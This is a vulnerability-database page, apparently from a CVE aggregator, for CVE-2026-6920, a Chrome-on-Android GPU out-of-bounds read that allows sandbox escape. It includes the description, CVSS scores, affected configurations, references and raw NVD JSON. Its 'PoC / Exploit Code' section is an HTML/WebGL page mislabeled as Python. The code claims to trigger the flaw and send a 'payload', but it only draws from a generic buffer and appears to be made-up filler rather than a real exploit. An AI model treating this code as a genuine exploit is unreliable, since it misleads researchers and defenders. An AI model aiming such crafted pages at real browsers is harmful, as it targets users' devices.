CVE-2026-6920

Description

Out of bounds read in GPU in Google Chrome on Android prior to 147.0.7727.117 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

9.6

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:google:android:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome on Android < 147.0.7727.117

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
Conceptual Proof of Concept for CVE-2026-6920
This HTML page attempts to trigger the GPU Out of Bounds Read.
Note: Actual exploitation requires specific memory layout manipulation.
-->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-6920 PoC</title>
</head>
<body>
    <h3>GPU Sandbox Escape Test</h3>
    <canvas id="glCanvas" width="640" height="480"></canvas>
    <script>
        const canvas = document.getElementById('glCanvas');
        const gl = canvas.getContext('webgl');

        if (gl) {
            // Create a buffer and bind it
            const buffer = gl.createBuffer();
            gl.bindBuffer(gl.ARRAY_BUFFER, buffer);

            // Crafted data to trigger the OOB read in GPU process
            // The size and content are designed to hit the vulnerable code path
            const craftedData = new Float32Array(0x10000);
            for (let i = 0; i < craftedData.length; i++) {
                craftedData[i] = i * 1.5; 
            }

            gl.bufferData(gl.ARRAY_BUFFER, craftedData, gl.STATIC_DRAW);

            // Attempt to draw to trigger the GPU processing
            gl.drawArrays(gl.TRIANGLES, 0, 3);
            
            console.log("Payload sent to GPU process.");
        } else {
            console.log("WebGL not supported.");
        }
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-6920
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-6920
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-6920/
[4] VulDB https://vuldb.com/cve/CVE-2026-6920
[5] https://chromereleases.googleblog.com/2026/04/stable-channel-update-for-desktop_22.html
[6] https://issues.chromium.org/issues/499891888

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-6920", "sourceIdentifier": "[email protected]", "published": "2026-04-23T18:16:30.640", "lastModified": "2026-04-24T16:39:41.147", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Out of bounds read in GPU in Google Chrome on Android prior to 147.0.7727.117 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "147.0.7727.116", "matchCriteriaId": "AB75176F-0FDC-47BF-A48D-D5F26FACD347"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:google:android:-:*:*:*:*:*:*:*", "matchCriteriaId": "F8B9FEC8-73B6-43B8-B24E-1F7C20D91D26"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/04/stable-channel-update-for-desktop_22.html", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://issues.chromium.org/issues/499891888", "source": "[email protected]", "tags": ["Vendor Advisory", "Permissions Required"]}]}}